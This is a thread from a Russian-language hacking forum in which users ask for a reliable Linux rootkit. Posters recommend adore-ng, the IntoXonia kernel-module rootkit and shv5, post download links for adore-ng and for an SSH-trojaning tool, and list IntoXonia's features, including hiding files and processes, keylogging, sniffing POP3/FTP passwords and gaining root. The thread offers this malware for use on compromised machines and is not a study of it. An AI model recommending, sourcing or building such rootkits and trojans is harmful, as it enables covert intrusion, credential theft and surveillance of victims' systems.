Форум АНТИЧАТ - Linux Руткиты

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- *nix (https://forum.antichat.xyz/forumdisplay.php?f=43)

- - Linux Руткиты (https://forum.antichat.xyz/showthread.php?t=21939)

Linux Руткиты

У кого нибудь есть что нить проверенное чтобы не запароть ядро а наверняка сработал ???

Пока склоняюсь к adore-ng 0.53 но боюсь ядро испортит....

P.s
Извеняюсь если не туда запостил... в общие разделы не хотелось....

IntoXonia - LKM rootkit for Linux Kernel 2.6.x

Код:

 (*) скрытие файлов/каталогов

 (*) скрытие процессов

 (*) имитация полного удаления файлов

 (*) перенаправление обращения к файлам

 (*) перенаправление входа в директории

 (*) запрет на обращение к файлам

 (*) запрет на вход в каталог

 (*) добавление фиктивной строки в файл

 (*) скрытие строки из файла

 (*) замена строк в файле при чтении

 (*) защита файла от удаления

 (*) сохранение файла при удалении

 (*) защита процессов

 (*) создание алиасов для команд

 (*) перенаправление запуска бинарников

 (*) запрет на запуск программ

 (*) запись всех нажатых клавиш (кейлоггер)

 (*) сниффер POP3/FTP паролей

 (*) сохранение настроек в файл

 (*) загрузка настроек из файла

 (*) получение прав root

 (*) смена uid/gid процесса

 (*) защищенное удаление файлов

 (*) настройка с помощью фиктивного бинарника

 (*) защита всех настроек паролем

Отечественная разработка так сказать...

Закачка ТУТА

+toxa+

Давно хотел спросить, откуда у тебя эта ссылка?. :). Её через сайт не найдешь вроде..

SladerNon
http://damagelab.org/index.php?showtopic=5633&hl=intoxonia
http://damagelab.org/index.php?showtopic=9420&hl=intoxonia

http://web-hack.ru/archive/news.php?go=1218
http://web-hack.ru/archive/news.php?go=1129

И как ты не разглядел...
http://satanic.easycoding.org/release.html

Зачем 0.53, когда давно уже есть 0.54

Код:

http://stealth.openwall.net/rootkits/adore-ng-0.54.tgz

Неуверен в стабильной работы с ядром, как вариант, - троянь ssh

Код:

http://www.gotfault.net/research/tool/ssheater/ssheater-1.1.tar.gz

Народ напишите кто каким руткитом пользуется!
У меня не всегда работает shv5. Кто еще че посоветует?

IntoXonia - LKM rootkit for Linux Kernel 2.6.x

https://forum.antichat.ru/thread21939.html

насчет последнего мона поподробнее. Я сам юзаю shV5, но он не всегда работает, а
IntoXonia - LKM rootkit for Linux Kernel 2.6.x только под 2.6, я так понял. буду ждать!!

А кто-нить скомпилируйте его пожалуйста, с меня +.